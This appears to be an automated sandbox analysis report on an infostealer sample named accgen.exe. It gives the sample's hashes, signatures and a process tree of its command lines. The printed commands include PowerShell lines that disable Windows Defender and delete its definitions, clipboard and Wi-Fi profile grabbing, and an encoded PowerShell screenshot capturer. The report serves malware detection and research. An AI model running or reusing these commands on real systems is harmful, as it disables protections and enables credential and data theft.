Resubmissions
11-12-2024 20:16
241211-y2jj2a1pbn 1007-12-2024 23:58
241207-31ftzawpbl 1006-12-2024 00:18
241206-al2hxazlh1 1005-12-2024 20:14
241205-yz2b3awpfq 1005-12-2024 18:42
241205-xcrnnswqgs 1005-12-2024 02:56
241205-dfenqs1mbl 1005-12-2024 02:56
241205-de5tja1maj 1005-12-2024 00:22
241205-an7gyavkal 1004-12-2024 22:51
241204-2s976s1mhj 10Analysis
-
max time kernel
4s -
max time network
6s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
05-12-2024 18:42
Behavioral task
behavioral1
Sample
accgen.exe
Resource
win11-20241007-en
General
-
Target
accgen.exe
-
Size
7.5MB
-
MD5
f1c9d53dc67cafd6d193be9a4b33f627
-
SHA1
dc1de348ba0cd40c6b10cb528e7aee83072c6aa0
-
SHA256
45715d3b3c58ea90088529b234c4ebb34a005c5d7406b4a92a3e116aa28c26c2
-
SHA512
aaba4de3b7e9bd1e8c41e655cbe29addcbe98f62f4b6ad599fe7a59e4616881ca97a91ae0a457df0421d586eb586a13f62aff10907a386f1cf3a25be7fa6244c
-
SSDEEP
196608:WlQCwVhurErvI9pWjgN3ZdahF0pbH1AY7WtQsNo/03vC1J:LVhurEUWjqeWx06rYYJ
Malware Config
Signatures
-
pid Process 4572 powershell.exe 1516 powershell.exe 1968 powershell.exe -
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts accgen.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 2952 cmd.exe 3520 powershell.exe -
Loads dropped DLL 17 IoCs
pid Process 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe 4156 accgen.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 2792 tasklist.exe 2720 tasklist.exe 3736 tasklist.exe 4992 tasklist.exe 4516 tasklist.exe -
resource yara_rule behavioral1/files/0x001900000002ab2d-21.dat upx behavioral1/memory/4156-25-0x00007FFFAB4F0000-0x00007FFFABBB4000-memory.dmp upx behavioral1/files/0x001900000002ab18-27.dat upx behavioral1/memory/4156-29-0x00007FFFC5DA0000-0x00007FFFC5DC5000-memory.dmp upx behavioral1/files/0x001900000002ab29-30.dat upx behavioral1/memory/4156-32-0x00007FFFC5D70000-0x00007FFFC5D7F000-memory.dmp upx behavioral1/files/0x001900000002ab2a-35.dat upx behavioral1/files/0x001900000002ab24-48.dat upx behavioral1/files/0x001900000002ab23-47.dat upx behavioral1/files/0x001900000002ab22-46.dat upx behavioral1/files/0x001900000002ab1c-45.dat upx behavioral1/files/0x001900000002ab1b-44.dat upx behavioral1/files/0x001900000002ab1a-43.dat upx behavioral1/files/0x001900000002ab19-42.dat upx behavioral1/files/0x001a00000002ab17-41.dat upx behavioral1/files/0x001c00000002ab34-40.dat upx behavioral1/files/0x001900000002ab33-39.dat upx behavioral1/files/0x001900000002ab30-38.dat upx behavioral1/files/0x001900000002ab27-34.dat upx behavioral1/memory/4156-54-0x00007FFFC1350000-0x00007FFFC137D000-memory.dmp upx behavioral1/memory/4156-56-0x00007FFFC5D50000-0x00007FFFC5D6A000-memory.dmp upx behavioral1/memory/4156-58-0x00007FFFC12D0000-0x00007FFFC12F4000-memory.dmp upx behavioral1/memory/4156-60-0x00007FFFBC2E0000-0x00007FFFBC45F000-memory.dmp upx behavioral1/memory/4156-62-0x00007FFFC32E0000-0x00007FFFC32F9000-memory.dmp upx behavioral1/memory/4156-64-0x00007FFFC5B30000-0x00007FFFC5B3D000-memory.dmp upx behavioral1/memory/4156-66-0x00007FFFC0130000-0x00007FFFC0163000-memory.dmp upx behavioral1/memory/4156-71-0x00007FFFBC140000-0x00007FFFBC20D000-memory.dmp upx behavioral1/memory/4156-70-0x00007FFFAB4F0000-0x00007FFFABBB4000-memory.dmp upx behavioral1/memory/4156-74-0x00007FFFC5DA0000-0x00007FFFC5DC5000-memory.dmp upx behavioral1/memory/4156-73-0x00007FFFB7D50000-0x00007FFFB8279000-memory.dmp upx behavioral1/memory/4156-80-0x00007FFFC12C0000-0x00007FFFC12CD000-memory.dmp upx behavioral1/memory/4156-83-0x00007FFFAB3D0000-0x00007FFFAB4EB000-memory.dmp upx behavioral1/memory/4156-82-0x00007FFFC5D50000-0x00007FFFC5D6A000-memory.dmp upx behavioral1/memory/4156-79-0x00007FFFC1350000-0x00007FFFC137D000-memory.dmp upx behavioral1/memory/4156-77-0x00007FFFC25A0000-0x00007FFFC25B4000-memory.dmp upx behavioral1/memory/4156-76-0x00007FFFC5D70000-0x00007FFFC5D7F000-memory.dmp upx behavioral1/memory/4156-106-0x00007FFFC12D0000-0x00007FFFC12F4000-memory.dmp upx behavioral1/memory/4156-107-0x00007FFFBC2E0000-0x00007FFFBC45F000-memory.dmp upx behavioral1/memory/4156-279-0x00007FFFC0130000-0x00007FFFC0163000-memory.dmp upx behavioral1/memory/4156-295-0x00007FFFBC140000-0x00007FFFBC20D000-memory.dmp upx -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 5020 cmd.exe 3828 netsh.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1736 WMIC.exe 4032 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1220 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1968 powershell.exe 1516 powershell.exe 1516 powershell.exe 1968 powershell.exe 3520 powershell.exe 3520 powershell.exe 3520 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3392 WMIC.exe Token: SeSecurityPrivilege 3392 WMIC.exe Token: SeTakeOwnershipPrivilege 3392 WMIC.exe Token: SeLoadDriverPrivilege 3392 WMIC.exe Token: SeSystemProfilePrivilege 3392 WMIC.exe Token: SeSystemtimePrivilege 3392 WMIC.exe Token: SeProfSingleProcessPrivilege 3392 WMIC.exe Token: SeIncBasePriorityPrivilege 3392 WMIC.exe Token: SeCreatePagefilePrivilege 3392 WMIC.exe Token: SeBackupPrivilege 3392 WMIC.exe Token: SeRestorePrivilege 3392 WMIC.exe Token: SeShutdownPrivilege 3392 WMIC.exe Token: SeDebugPrivilege 3392 WMIC.exe Token: SeSystemEnvironmentPrivilege 3392 WMIC.exe Token: SeRemoteShutdownPrivilege 3392 WMIC.exe Token: SeUndockPrivilege 3392 WMIC.exe Token: SeManageVolumePrivilege 3392 WMIC.exe Token: 33 3392 WMIC.exe Token: 34 3392 WMIC.exe Token: 35 3392 WMIC.exe Token: 36 3392 WMIC.exe Token: SeDebugPrivilege 2792 tasklist.exe Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 1516 powershell.exe Token: SeIncreaseQuotaPrivilege 3392 WMIC.exe Token: SeSecurityPrivilege 3392 WMIC.exe Token: SeTakeOwnershipPrivilege 3392 WMIC.exe Token: SeLoadDriverPrivilege 3392 WMIC.exe Token: SeSystemProfilePrivilege 3392 WMIC.exe Token: SeSystemtimePrivilege 3392 WMIC.exe Token: SeProfSingleProcessPrivilege 3392 WMIC.exe Token: SeIncBasePriorityPrivilege 3392 WMIC.exe Token: SeCreatePagefilePrivilege 3392 WMIC.exe Token: SeBackupPrivilege 3392 WMIC.exe Token: SeRestorePrivilege 3392 WMIC.exe Token: SeShutdownPrivilege 3392 WMIC.exe Token: SeDebugPrivilege 3392 WMIC.exe Token: SeSystemEnvironmentPrivilege 3392 WMIC.exe Token: SeRemoteShutdownPrivilege 3392 WMIC.exe Token: SeUndockPrivilege 3392 WMIC.exe Token: SeManageVolumePrivilege 3392 WMIC.exe Token: 33 3392 WMIC.exe Token: 34 3392 WMIC.exe Token: 35 3392 WMIC.exe Token: 36 3392 WMIC.exe Token: SeIncreaseQuotaPrivilege 1736 WMIC.exe Token: SeSecurityPrivilege 1736 WMIC.exe Token: SeTakeOwnershipPrivilege 1736 WMIC.exe Token: SeLoadDriverPrivilege 1736 WMIC.exe Token: SeSystemProfilePrivilege 1736 WMIC.exe Token: SeSystemtimePrivilege 1736 WMIC.exe Token: SeProfSingleProcessPrivilege 1736 WMIC.exe Token: SeIncBasePriorityPrivilege 1736 WMIC.exe Token: SeCreatePagefilePrivilege 1736 WMIC.exe Token: SeBackupPrivilege 1736 WMIC.exe Token: SeRestorePrivilege 1736 WMIC.exe Token: SeShutdownPrivilege 1736 WMIC.exe Token: SeDebugPrivilege 1736 WMIC.exe Token: SeSystemEnvironmentPrivilege 1736 WMIC.exe Token: SeRemoteShutdownPrivilege 1736 WMIC.exe Token: SeUndockPrivilege 1736 WMIC.exe Token: SeManageVolumePrivilege 1736 WMIC.exe Token: 33 1736 WMIC.exe Token: 34 1736 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2488 wrote to memory of 4156 2488 accgen.exe 77 PID 2488 wrote to memory of 4156 2488 accgen.exe 77 PID 4156 wrote to memory of 3340 4156 accgen.exe 78 PID 4156 wrote to memory of 3340 4156 accgen.exe 78 PID 4156 wrote to memory of 3084 4156 accgen.exe 79 PID 4156 wrote to memory of 3084 4156 accgen.exe 79 PID 4156 wrote to memory of 4200 4156 accgen.exe 81 PID 4156 wrote to memory of 4200 4156 accgen.exe 81 PID 4156 wrote to memory of 664 4156 accgen.exe 84 PID 4156 wrote to memory of 664 4156 accgen.exe 84 PID 4200 wrote to memory of 2792 4200 cmd.exe 86 PID 4200 wrote to memory of 2792 4200 cmd.exe 86 PID 3340 wrote to memory of 1968 3340 cmd.exe 87 PID 3340 wrote to memory of 1968 3340 cmd.exe 87 PID 664 wrote to memory of 3392 664 cmd.exe 88 PID 664 wrote to memory of 3392 664 cmd.exe 88 PID 3084 wrote to memory of 1516 3084 cmd.exe 89 PID 3084 wrote to memory of 1516 3084 cmd.exe 89 PID 4156 wrote to memory of 1656 4156 accgen.exe 91 PID 4156 wrote to memory of 1656 4156 accgen.exe 91 PID 1656 wrote to memory of 2312 1656 cmd.exe 93 PID 1656 wrote to memory of 2312 1656 cmd.exe 93 PID 4156 wrote to memory of 820 4156 accgen.exe 94 PID 4156 wrote to memory of 820 4156 accgen.exe 94 PID 820 wrote to memory of 3364 820 cmd.exe 151 PID 820 wrote to memory of 3364 820 cmd.exe 151 PID 4156 wrote to memory of 996 4156 accgen.exe 97 PID 4156 wrote to memory of 996 4156 accgen.exe 97 PID 996 wrote to memory of 1736 996 cmd.exe 99 PID 996 wrote to memory of 1736 996 cmd.exe 99 PID 4156 wrote to memory of 2504 4156 accgen.exe 157 PID 4156 wrote to memory of 2504 4156 accgen.exe 157 PID 2504 wrote to memory of 4032 2504 cmd.exe 102 PID 2504 wrote to memory of 4032 2504 cmd.exe 102 PID 4156 wrote to memory of 1628 4156 accgen.exe 103 PID 4156 wrote to memory of 1628 4156 accgen.exe 103 PID 4156 wrote to memory of 1860 4156 accgen.exe 104 PID 4156 wrote to memory of 1860 4156 accgen.exe 104 PID 4156 wrote to memory of 1648 4156 accgen.exe 107 PID 4156 wrote to memory of 1648 4156 accgen.exe 107 PID 4156 wrote to memory of 2952 4156 accgen.exe 108 PID 4156 wrote to memory of 2952 4156 accgen.exe 108 PID 4156 wrote to memory of 972 4156 accgen.exe 110 PID 4156 wrote to memory of 972 4156 accgen.exe 110 PID 1860 wrote to memory of 2720 1860 cmd.exe 113 PID 1860 wrote to memory of 2720 1860 cmd.exe 113 PID 1628 wrote to memory of 3736 1628 cmd.exe 114 PID 1628 wrote to memory of 3736 1628 cmd.exe 114 PID 4156 wrote to memory of 3256 4156 accgen.exe 115 PID 4156 wrote to memory of 3256 4156 accgen.exe 115 PID 4156 wrote to memory of 5020 4156 accgen.exe 116 PID 4156 wrote to memory of 5020 4156 accgen.exe 116 PID 4156 wrote to memory of 4068 4156 accgen.exe 119 PID 4156 wrote to memory of 4068 4156 accgen.exe 119 PID 2952 wrote to memory of 3520 2952 cmd.exe 120 PID 2952 wrote to memory of 3520 2952 cmd.exe 120 PID 1648 wrote to memory of 4284 1648 cmd.exe 122 PID 1648 wrote to memory of 4284 1648 cmd.exe 122 PID 972 wrote to memory of 4992 972 cmd.exe 123 PID 972 wrote to memory of 4992 972 cmd.exe 123 PID 4156 wrote to memory of 4272 4156 accgen.exe 124 PID 4156 wrote to memory of 4272 4156 accgen.exe 124 PID 4156 wrote to memory of 4912 4156 accgen.exe 125 PID 4156 wrote to memory of 4912 4156 accgen.exe 125 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1224 attrib.exe 4436 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\accgen.exe"C:\Users\Admin\AppData\Local\Temp\accgen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Users\Admin\AppData\Local\Temp\accgen.exe"C:\Users\Admin\AppData\Local\Temp\accgen.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\accgen.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:3340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\accgen.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4200 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:2312
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:3364
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:4032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:3736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:4284
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:3520
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:4992
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:3256
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:2392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5020 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3828
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:4068
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:1220
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵PID:4272
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵PID:4912
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBv